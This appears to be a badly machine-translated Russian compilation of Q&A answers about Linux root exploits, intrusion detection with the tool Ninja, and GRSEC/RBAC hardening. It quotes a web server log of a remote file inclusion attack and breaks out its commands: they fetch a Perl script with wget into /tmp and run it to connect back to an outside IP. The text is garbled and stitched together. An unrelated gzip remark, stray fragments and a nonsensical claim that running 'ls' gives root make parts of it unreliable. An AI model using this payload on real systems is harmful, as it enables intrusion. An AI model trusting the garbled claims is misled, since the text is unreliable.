Обратите внимание на то, что gzip формат файла только позволяет 32 бита для хранения исходного размера файла, таким образом, число, там размер по модулю 2^32. Следовательно размер, данный "gzip-l", не является категорическим тестом для пустоты.
Использование по самой своей природе пытается не быть обнаруженным. Таким образом, большая часть использования не входит в систему через нормальные средства, по крайней мере, не первоначально. Они будут обычно использовать что-то как переполнение буфера для получения доступа к системе.
Этот стиль нападения ищет части приложения, которые надеются брать вход от пользователя. Думайте о веб-странице и различных текстовых полях, где необходимо предоставить информацию путем ввода вещей в эти текстовые поля. Каждое из этих текстовых полей является потенциальной точкой входа для потенциального взломщика.
Большинство систем разработано для не разрешения корневых логинов, таким образом, этот вектор атаки не является действительно проблемой. Большинство нападений получает доступ к некоторой другой более низкой учетной записи уровня и затем усиливает путем нахождения дополнительных уязвимостей, после того как они установили береговой плацдарм в системе.
Быть взломщиком мог получить корневой доступ путем выполнения следующего:
ls
.ls
получить доступ к корневой учетной записи.Быть взломщиком даже не мог бы интересоваться получением полного контроля над Вашей системой. Большинство взломов только интересуется собирающимися системами использоваться в качестве "ведомых устройств" для другого использования. Таким образом, часто взломщик только интересуется получением их программного обеспечения, установленного в Вашей системе так, чтобы они могли использовать систему, даже никогда не получая полный контроль над системой.
CMD.gif
и загрузки это. Возможно, это - изображение аватара пользователя на сайте форума, например. Но CMD.gif
не изображение, это - на самом деле программа, кого называют CMD.gif
.файл журнала веб-сервера такого нападения
201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
"GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
&cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
%2072.36.21.183%2021 HTTP/1.1" 200
Примечание: демонстрационный журнал от любезности веб-сервера Apache OSSEC.net.
Здесь взломщик заставляет веб-приложение X (index.php) работать CMD.gif
который может затем сделать следующее:
cd /tmp
wget http://72.36.254.26/~fanta/dc.txt
perl dc.txt 72.36.21.183 21
Таким образом, они подключили веб-приложение X коаксиальным кабелем в изменяющиеся каталоги к /tmp
, загрузите файл, dc.txt
, и затем выполненный файл, делающий соединение назад с IP-адресом 72.36.21.183 на порте 21.
Идея, что можно закрыть сервер вниз, который "обнаружил" использование, является хорошей попыткой, но это не работает по нескольким причинам.
Я мог продолжить и на, но в целом Вы имеете несколько ресурсов в наличии когда дело доходит до обеспечения системы.
gcc
установленный компилятор, не устанавливайте его.ОС может и действительно добавлять запись в журнале каждый раз, когда кто-то входит в систему как корень. Но это не приносит пользы против ошибок расширения полномочий по многим причинам.
После того как взломщик является корнем, они могут удалить записи в журнале. Единственный способ избежать этого состоит в том, чтобы записать журналы в некоторое место, к которому взломщик не может получить доступ, такой как неперезаписываемые медиа или удаленная машина.
Логины или процессы, запущенные как корень, являются нормальным событием. Вы не хотите быть, просыпаются каждый день в 6:00, потому что ежедневные задания крона работают. Обнаруживание подозрительных процессов, сетевого трафика и другого поведения является сложным заданием на основе эвристики; инструмент, делающий это задание, называют IDS (система обнаружения проникновения).
Ошибка расширения полномочий не вовлекает взломщика, входящего в систему, ни даже обязательно выполняющего новые процессы. Взломщик использует ошибку в под управлением программе и заставляет ее выполнить любой код, который он вводит. В то время как часто удобно для взломщика назвать другие программы, которые уже присутствуют в системе, это редко необходимо.
Хороший вопрос!
В многопользовательских системах Вам просто нужны некоторые гарантии, должен локальное корневое использование успешно выполняться.
Программное обеспечение пространства пользователя Ниндзя постоянно контролирует для новых корневых процессов и возможно уничтожает их, если они порождены из неожиданных источников. Минус то, что Ниндзя берет довольно мало ЦП, и все еще пользовательское использование могло бы просто быть достаточно быстрым для уничтожения Ниндзя, прежде чем Ниндзя уничтожит его.
Ниндзя является системой обнаружения и предотвращения расширения полномочий для хостов GNU/Linux. При выполнении это будет контролировать действие процесса по локальному хосту и отслеживать все процессы , работающие как корень. Если процесс будет порожден с UID или нулем GID (корень), то ниндзя зарегистрирует необходимую информацию об этом процессе и дополнительно уничтожит процесс, если это было порождено неавторизованным пользователем.
Более безопасная альтернатива должна использовать исправленное ядро GRSEC, и это - функции RBAC (Role Based Access Control). С RBAC возможно разделить пользователя root от всего питания так, чтобы получение корня было практически бесполезно, если Вы также не проходите проверку подлинности как администраторская роль с gradm -a admin
.
GRSEC также идет с PaX, который делает ядро намного более трудным использовать.